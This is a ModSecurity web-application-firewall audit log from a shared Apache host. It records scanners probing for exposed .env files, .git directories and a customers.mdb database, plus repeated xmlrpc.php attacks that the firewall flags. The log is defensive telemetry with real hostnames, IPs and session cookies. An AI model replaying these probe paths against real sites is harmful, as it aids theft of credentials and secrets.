Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/configura/.env"] [unique_id "aE8il3salJN_0-_70dLxtQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016663804270 671351 (- - -) Stopwatch2: 1750016663804270 671351; combined=1942, p1=391, p2=1456, p3=0, p4=0, p5=94, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --730f5f3c-Z-- --a17f566d-A-- [16/Jun/2025:01:14:27.535553 +0530] aE8imnsalJN_0-_70dLxtwAAAAU 185.177.72.210 37004 127.0.0.1 7081 --a17f566d-B-- GET /07-accessing-data/end/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a17f566d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e398697965f98ca508e5c78200698a11750016667; expires=Sun, 15 Jun 2025 20:44:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a17f566d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/07-accessing-data/end/vue-heroes/.env"] [unique_id "aE8imnsalJN_0-_70dLxtwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016666829669 705979 (- - -) Stopwatch2: 1750016666829669 705979; combined=1791, p1=396, p2=1272, p3=0, p4=0, p5=122, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a17f566d-Z-- --785b806f-A-- [16/Jun/2025:01:14:33.515492 +0530] aE8ioHsalJN_0-_70dLxugAAAAU 185.177.72.210 49920 127.0.0.1 7081 --785b806f-B-- GET /src/client/mobile/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --785b806f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4deda4453b11a8883991e644578371081750016673; expires=Sun, 15 Jun 2025 20:44:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --785b806f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/src/client/mobile/.env"] [unique_id "aE8ioHsalJN_0-_70dLxugAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016672868416 647160 (- - -) Stopwatch2: 1750016672868416 647160; combined=1892, p1=375, p2=1388, p3=0, p4=0, p5=128, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --785b806f-Z-- --d30ece2e-A-- [16/Jun/2025:01:14:34.025342 +0530] aE8ioYfvqn7_SDWw_wX3xgAAAAc 128.199.112.101 49944 127.0.0.1 7081 --d30ece2e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d30ece2e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d30ece2e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8ioYfvqn7_SDWw_wX3xgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016673109908 915503 (- - -) Stopwatch2: 1750016673109908 915503; combined=2274, p1=354, p2=1528, p3=42, p4=59, p5=181, sr=98, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d30ece2e-Z-- --f1e31867-A-- [16/Jun/2025:01:14:44.305675 +0530] aE8iq5nj7pFxi-BGHz6vPgAAAAI 185.177.72.210 37914 127.0.0.1 7081 --f1e31867-B-- GET /bak/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f1e31867-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3146045c815a43d34ce00d37669d74d41750016684; expires=Sun, 15 Jun 2025 20:44:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f1e31867-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.git/"] [unique_id "aE8iq5nj7pFxi-BGHz6vPgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016683613542 692196 (- - -) Stopwatch2: 1750016683613542 692196; combined=1602, p1=320, p2=1195, p3=0, p4=0, p5=86, sr=80, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1e31867-Z-- --2e9e6748-A-- [16/Jun/2025:01:15:01.102227 +0530] aE8ivD3D4g1mGjVnV5KIcQAAAAY 185.177.72.210 58900 127.0.0.1 7081 --2e9e6748-B-- GET /credentials/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e9e6748-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f9ad2ae8fa8329a0153a9ba4db0dcb21750016700; expires=Sun, 15 Jun 2025 20:45:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e9e6748-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.git/"] [unique_id "aE8ivD3D4g1mGjVnV5KIcQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016700424181 678135 (- - -) Stopwatch2: 1750016700424181 678135; combined=1803, p1=401, p2=1302, p3=0, p4=0, p5=99, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e9e6748-Z-- --8d6eaa5c-A-- [16/Jun/2025:01:15:34.250899 +0530] aE8i3SKD19h5xDtM-2wedwAAAAo 128.199.112.101 53582 127.0.0.1 7081 --8d6eaa5c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8d6eaa5c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8d6eaa5c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8i3SKD19h5xDtM-2wedwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016733246501 1004466 (- - -) Stopwatch2: 1750016733246501 1004466; combined=2503, p1=382, p2=1725, p3=42, p4=61, p5=183, sr=104, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8d6eaa5c-Z-- --7fd40915-A-- [16/Jun/2025:01:15:57.291185 +0530] aE8i9AW_rlaNA7qLBTtFyQAAAAs 185.177.72.210 54726 127.0.0.1 7081 --7fd40915-B-- GET /:8181/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7fd40915-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4e64f6a047e8cbd8d5bc26051f2f9df1750016756; expires=Sun, 15 Jun 2025 20:45:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7fd40915-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/dashboard/.env"] [unique_id "aE8i9AW_rlaNA7qLBTtFyQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016756395206 896045 (- - -) Stopwatch2: 1750016756395206 896045; combined=2290, p1=495, p2=1683, p3=0, p4=0, p5=112, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fd40915-Z-- --6a85391c-A-- [16/Jun/2025:01:16:34.751880 +0530] aE8jGQW_rlaNA7qLBTtF4QAAAAs 128.199.112.101 42238 127.0.0.1 7081 --6a85391c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6a85391c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6a85391c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8jGQW_rlaNA7qLBTtF4QAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016793747864 1004084 (- - -) Stopwatch2: 1750016793747864 1004084; combined=2477, p1=385, p2=1625, p3=51, p4=74, p5=208, sr=109, sw=134, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a85391c-Z-- --ab9f3504-A-- [16/Jun/2025:01:16:59.134668 +0530] aE8jMpX34joZXY0ssV2tzwAAAAM 185.177.72.210 34796 127.0.0.1 7081 --ab9f3504-B-- GET /customers.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ab9f3504-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=31fd82b0c67349743d85fc5fc2d291f61750016818; expires=Sun, 15 Jun 2025 20:46:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ab9f3504-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/customers.mdb"] [unique_id "aE8jMpX34joZXY0ssV2tzwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016818358712 776026 (- - -) Stopwatch2: 1750016818358712 776026; combined=1735, p1=319, p2=1315, p3=0, p4=0, p5=101, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ab9f3504-Z-- --6e652b60-A-- [16/Jun/2025:01:17:00.242018 +0530] aE8jMzwutQMQaeKIpO_OVgAAAAg 66.249.72.129 34830 127.0.0.1 7081 --6e652b60-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 66.249.72.129 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 419 Accept-Language: en-US Content-Type: text/plain;charset=UTF-8 Cookie: _fbp=fb.1.1749945600198.17991876015955610 Origin: https://www.retaxis.com Referer: https://www.retaxis.com/encourage-repeat-purchases-with-right-use-of-coupon-codes/ Accept: */* From: googlebot(at)googlebot.com User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.7103.113 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept-Encoding: gzip, deflate, br --6e652b60-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: _sfs_id=a0deaeae6210301e87e691e6859afcad1750016819; expires=Sun, 15 Jun 2025 20:46:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Set-Cookie: PHPSESSID=a29kajtcc2smql5l82pkggcguc; expires=Sat, 13 Sep 2025 19:46:59 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --6e652b60-E-- --6e652b60-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE8jMzwutQMQaeKIpO_OVgAAAAg"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE8jMzwutQMQaeKIpO_OVgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016819105970 1136183 (- - -) Stopwatch2: 1750016819105970 1136183; combined=2894, p1=398, p2=2148, p3=136, p4=47, p5=164, sr=87, sw=1, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e652b60-Z-- --f05e1a0c-A-- [16/Jun/2025:01:17:05.593463 +0530] aE8jOJX34joZXY0ssV2t0wAAAAM 185.177.72.210 33084 127.0.0.1 7081 --f05e1a0c-B-- GET /backend/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f05e1a0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e9b2215c6c22c4eba83760fec6e3365b1750016825; expires=Sun, 15 Jun 2025 20:47:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f05e1a0c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backend/config/.env"] [unique_id "aE8jOJX34joZXY0ssV2t0wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016824878478 715060 (- - -) Stopwatch2: 1750016824878478 715060; combined=1895, p1=408, p2=1382, p3=0, p4=0, p5=105, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f05e1a0c-Z-- --86807c0e-A-- [16/Jun/2025:01:17:34.289479 +0530] aE8jVYfvqn7_SDWw_wX4LQAAAAc 128.199.112.101 52340 127.0.0.1 7081 --86807c0e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --86807c0e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --86807c0e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8jVYfvqn7_SDWw_wX4LQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016853364826 924709 (- - -) Stopwatch2: 1750016853364826 924709; combined=2084, p1=353, p2=1336, p3=42, p4=62, p5=187, sr=95, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86807c0e-Z-- --2fe32b22-A-- [16/Jun/2025:01:18:24.181417 +0530] aE8jh3salJN_0-_70dLyNQAAAAU 185.177.72.210 47574 127.0.0.1 7081 --2fe32b22-B-- GET /bgoldd/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2fe32b22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; 